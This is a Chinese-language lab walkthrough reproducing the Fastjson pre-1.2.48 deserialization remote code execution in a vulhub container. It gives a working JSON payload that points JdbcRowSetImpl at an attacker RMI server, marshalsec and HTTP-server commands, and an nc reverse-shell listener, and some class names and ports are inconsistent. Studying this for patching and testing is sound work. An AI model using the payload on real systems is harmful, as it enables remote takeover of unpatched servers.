漏洞原理
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
影响环境
Fastjson 1.2.48以前版本
漏洞复现
环境使用的是docker+vulhub的环境搭建的
步骤:
1.Exploit.exp需要进行javac编译
2.所有用的工具和编译后的包要在同一目录,然后在该目录启动http服务和启动一个RMI服务器,监听9999端。其中RMI服务marshalsec.jndi.RMIRefServer 是需要jdk1.8版本的。(其中Exp下载地址里边已经有编译好的marshalsec-0.0.3-SNAPSHOT-all.jar,就不用下载meavn对marshalsec进行打包,能省去很长的时间)
3.发送构造好的请求包,nc监听得到反弹shell
Exp 下载地址 :
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
下载好会有三个文件,其中Exploit.java只是一段反弹shell的代码,需要修改为攻击机的ip和端口
然后来到jdk的bin目录下使用javac进行编译,编译成class文件,得到Exploit.class
javac Exploit.java
把编译好的Exploit.class文件和 marshalsec-0.0.3-SNAPSHOT-all.jar放置同一个目录下,然后发送至攻击机,然后在攻击机的Exploit.class目录下使用python开启站点
python -m SimpleHTTPServer 1111
yout-ip/TouchFile.class //访问站点
然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class 安装marshalsec,同时mvn也是需要安装的
安装mvn
官网下载压缩包 http://maven.apache.org/download.cgi
配置环境变量
vi /etc/profile
export MAVEN_HOME=/var/local/apache-maven-3.6.2
export MAVEN_HOME
export PATH=$PATH:$MAVEN_HOME/bin
编辑之后使用source /etc/profile命令使改动生效。
在任意路径下执行mvn -version验证命令是否有效
安装和使用marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
装好mvn后运行 (若使用mvn时提示命令找不到,可以使用source /etc/profile 更新一下环境变量)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip:1234/#TouchFile" 9999
构造exp请求包,并多开端口进行nc监听8888
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.144:9999/Exploit",
"autoCommit":true
}
}
构造好的请求包发送如下,注意Content-type格式要json,并且是post请求。
发送请求包后可以看到向指定ip加载远程类TouchFile.class
然后攻击机就能收到反弹回来的shell了